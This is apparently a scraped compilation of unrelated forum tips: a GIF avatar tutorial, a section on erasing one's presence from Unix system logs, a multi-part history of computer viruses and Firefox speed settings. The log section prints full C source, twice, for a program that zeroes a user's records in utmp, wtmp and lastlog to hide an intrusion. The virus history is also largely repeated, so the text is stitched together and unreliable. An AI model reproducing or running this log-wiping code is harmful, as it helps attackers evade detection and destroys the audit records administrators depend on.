3. Go to the beginning of the part u want as avatar & click on pause
4. make a picture of it:
5. press 2 steps forward & then make another pic, do this until u got the whole part:
Video Avatars
1. Open PowerDVD:
user posted image
2. Open a movie or Video clip:
user posted image
user posted image
3. Go to the beginning of the part u want as avatar & click on pause
user posted image
4. make a picture of it:
user posted image
5. press 2 steps forward & then make another pic, do this until u got the whole part:
user posted image
6. go to imageready 7 & then select "file", "import" & then "folder as frames..." & then u select the folder wit your pics made wit powerDVD:
7. put the layers in place & save it optimized as GIF
¤¤ Erasing Your Presence From System Logs ¤¤
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.
Example:
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.
Example:
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
Evolution Of Computer Viruses History Of Viruses
part 1
Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.
Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.
However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.
At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.
Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.
From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.
part 2
This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.
When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.
One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.
Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.
Notoriety versus stealth
For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.
part 3
This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.
Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.
With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.
The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.
This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.
Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.
part 4
In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.
In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.
The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.
Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.
After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this
part 5
Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.
These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".
Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.
According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.
On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".
In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.
In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:
- Virus antecessors: Core Wars
As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.
Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.
- The new gurus of the 8-bits and the assembler language.
The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.
This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).
Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.
part 6
Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.
In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.
DOS viruses
The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.
Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.
Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.
Win16 viruses
The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.
The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.
part 7
This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.
While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.
Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.
With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.
At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.
Melissa and self-executing worms
part 1
Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.
Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.
However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.
At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.
Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.
From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.
part 2
This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.
When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.
One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.
Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.
Notoriety versus stealth
For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.
part 3
This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.
Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.
With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.
The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.
This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.
Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.
part 4
In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.
In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.
The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.
Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.
After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this
part 5
Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.
These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".
Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.
According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.
On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".
In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.
In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:
- Virus antecessors: Core Wars
As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.
Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.
- The new gurus of the 8-bits and the assembler language.
The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.
This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).
Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.
part 6
Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.
In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.
DOS viruses
The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.
Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.
Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.
Win16 viruses
The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.
The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.
part 7
This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.
While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.
Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.
With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.
At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.
Melissa and self-executing worms
The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.
The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.
As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.
The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.
As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.
Firefox Speed Tweaks
Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?
That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.
Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.
Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.
Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
